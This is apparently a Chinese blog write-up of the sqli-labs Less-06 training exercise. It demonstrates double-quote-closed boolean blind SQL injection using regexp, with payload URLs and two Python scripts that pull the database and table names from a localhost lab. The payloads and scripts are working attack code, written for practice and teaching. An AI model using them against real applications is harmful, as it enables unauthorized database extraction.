sqli-labs Less-06 通关笔记

blog 26 0

确认注入点

首先,我们还是按照老套路,去尝试闭合当前的sql语句,并在脑海中想象后端的查询语句是如何构造的。从而进行闭合。

尝试传入?id=1a,发现页面有返回内容,再次尝试传入id=-1,发现页面并没有内容返回,那么就可以判断,该注入类型是一个字符型的注入。

sqli-labs Less-06 通关笔记

下面我们尝试使用单引号或者双引号等方式进行闭合。

尝试传入?id=1'发现依旧返回结果。那么我们可以断定,该闭合不能使用单引号。那么我们就尝试使用双引号进行闭合。

当我们传入?id=1"的时候,页面发生了语法错误,这也就说明,我们的查询影响到了sql查询的结构。

sqli-labs Less-06 通关笔记

再次构造语句:

?id=1" and 1 = 1 %23       # 有回显
?id=1" and 1 = 2 %23       # 没有回显

那么我们就可以得知,该查询语句可以使用双引号进行闭合;而利用方式可以参照我们上一关的。只是闭合的方式不一致,其他都一致。

但是我们还有多种注入的方式,比如说时间注入、regexp注入、报错注入等等,本关卡我们就演示使用regexp注入获取数据。

regexp注入获取数据

获取当前数据库使用的数据库名称第一个字母

构造语句:

?id=-1" or substr((select database()),1,1) regexp '^a' %23   # 无回显
?id=-1" or substr((select database()),1,1) regexp '^b' %23   # 无回显
?id=-1" or substr((select database()),1,1) regexp '^c' %23   # 无回显
...
?id=-1" or substr((select database()),1,1) regexp '^s' %23   # 有回显

那么我们就可以得知当前数据库使用的数据名称第一个字母为s

获取当前数据库使用的数据库名称第二个字母

构造语句:

?id=-1" or substr((select database()),2,1) regexp '^a' %23   # 无回显
?id=-1" or substr((select database()),2,1) regexp '^b' %23   # 无回显
?id=-1" or substr((select database()),2,1) regexp '^c' %23   # 无回显
...
?id=-1" or substr((select database()),2,1) regexp '^e' %23   # 有回显

那么我们就可以得知当前数据库使用的数据名称第二个字母为e

后面的数据,我们就通过写脚本的方式去获取,我们这里先获取数据库名的长度

构造语句:

?id=-1" or length(database()) regexp '^6' %23
?id=-1" or length(database()) regexp '^8' %23  # 有数据返回得到当前数据名长度为8

当然上面的语句只能判断个位数的长度。因为^表示以什么开头,如果数据库名为二位数,那么以上payload就不行了,重新构造:?id=-1" or length(database()) regexp '^8[0-9]' %23,其中的^8表示以8开头,而[[0-9]表示后面内容为0-9之间,如果后面一位有内容,则返回You are in...,没有内容则返回为空。

编写脚本:

import requests
import time
​
start_time = time.time()  # 脚本开始时间戳
url = 'http://localhost/sql/Less-6/?id=' 
data_len = 0  # 定义一个变量记录数据库现有长度
data_name = ''  # 定义一个变量用来存放数据的名称
flag = True  # 循环条件的标志
while flag:  # 如果flag的值一直为True,则一致循环
    for i in range(48,123):  # 遍历范围用来获取ascii的十进制
        data = chr(i) # 将对应ascii十进制码i的值转为对应的字符,比如ascii码48转为字符为0
        payload = '-1" or substr((select database()),{},1) regexp binary "^{}" %23'.format(data_len + 1,data)       
        res = requests.get(url+payload)  # 发送这个请求,将响应赋值给res
        if (chr(i) == '^'): # 由于regexp binary "^^" 也为True,所以这里遇到^时跳过本轮循环
            continue
        # 判断You are in...........是否在响应内容中,如果在则表示条件成立。将库名现有的长度+1,将为真的字符追加到data_name变量中
        if('You are in...........' in res.text):
            data_len += 1
            data_name += chr(i)
            continue  # 已经得出 跳过本轮循环 开始下一轮循环
        if data_len == 8:  # 最终数据库的长度为8位,如果满足,则打印数据名,停止循环。
            print('[+]数据库的名称为:',data_name) # 打印数据库名
            flag = False # 终止最外层的while循环
            stop_time = time.time()
            break # 终止当前for循环
time_use = stop_time - start_time
print(time_use,'秒')

由于数据库名称只能是大小写字母+数字,所以我们的范围为48122,在ascii码中48-570-9数字,65-90A-

Z,而97-122a-z

脚本运行结果:

sqli-labs Less-06 通关笔记

脚本运行时长为两秒多,与ascii码类的布尔注入,相对比较慢一些。但是比手动注入,要快很多。

获取当前数据库下的所有表

获取当前数据下的所有表的第一个字符

构造语句:

?id=-1" or substr((select group_concat(table_name) from information_schema.tables  where table_schema=database()),1,1) regexp '^a' %23      # 无回显
​
?id=-1" or substr((select group_concat(table_name) from information_schema.tables  where table_schema=database()),1,1) regexp '^b' %23      # 无回显
​
?id=-1" or substr((select group_concat(table_name) from information_schema.tables  where table_schema=database()),1,1) regexp '^c' %23      # 无回显
​
?id=-1" or substr((select group_concat(table_name) from information_schema.tables  where table_schema=database()),1,1) regexp '^e' %23      # 有回显

可以得知,获取当前数据下的所有表的第一个字符为e,后面的话,我们直接使用脚本进行注入了。首先,我们先获取当前数据下所有表的长度:

" or substr(length((select group_concat(table_name) from information_schema.tables  where table_schema=database())),1,1) regexp '^2' %23   # 有回显得知以2开头
​
# 判断第二位
​
" or substr(length((select group_concat(table_name) from information_schema.tables  where table_schema=database())),2,1) regexp '^1' %23   # 无回显
​
" or substr(length((select group_concat(table_name) from information_schema.tables  where table_schema=database())),1,1) regexp '^2' %23   # 无回显
​
" or substr(length((select group_concat(table_name) from information_schema.tables  where table_schema=database())),1,1) regexp '^3' %23   # 无回显
...
" or substr(length((select group_concat(table_name) from information_schema.tables  where table_schema=database())),1,1) regexp '^9' %23   # 有回显
​
​
# 判断是否有第三位
​
?id=-1" or length((select group_concat(table_name) from information_schema.tables  where table_schema=database())) regexp '^2[0-9][0-9]' %23   # 无回显表示没有第三位

最终得到,数据库下所有的表的长度为29

编写脚本:

import requests
import time
​
start_time = time.time()
url = 'http://localhost/sql/Less-6/?id='
data_len = 0
data_name = ''
flag = True
while flag:
    for i in range(44,123):
        data = chr(i)
        payload = '?id=-1" or substr((select group_concat(table_name) from information_schema.tables  where table_schema=database()),{},1) regexp binary "^{}" %23'.format(data_len + 1,data)       
        res = requests.get(url+payload)
        if (chr(i) == '^' or chr(i) == '.'):
            continue
        if('You are in...........' in res.text):
            data_len += 1
            data_name += chr(i)
            continue
        if data_len == 29:
            print('[+]数据库的名称为:',data_name)
            flag = False
            stop_time = time.time()
            break
time_use = stop_time - start_time
print(time_use,'秒')

脚本从44开始的原因是因为group_concat()得出的结果每一行以逗号进行分割。而ascii码44对应的字符为,

而ascii码46转为字符为.,点在正则表达式中表示任意字符,所以我们进行判断,chr(i)等于^或者点的时候,则跳过当前循环,开始下一轮循环。

脚本运行结果:

sqli-labs Less-06 通关笔记

后面的获取列名、数据等等,我们这里不再演示。方法类似。

发表评论 取消回复
表情 图片 链接 代码

分享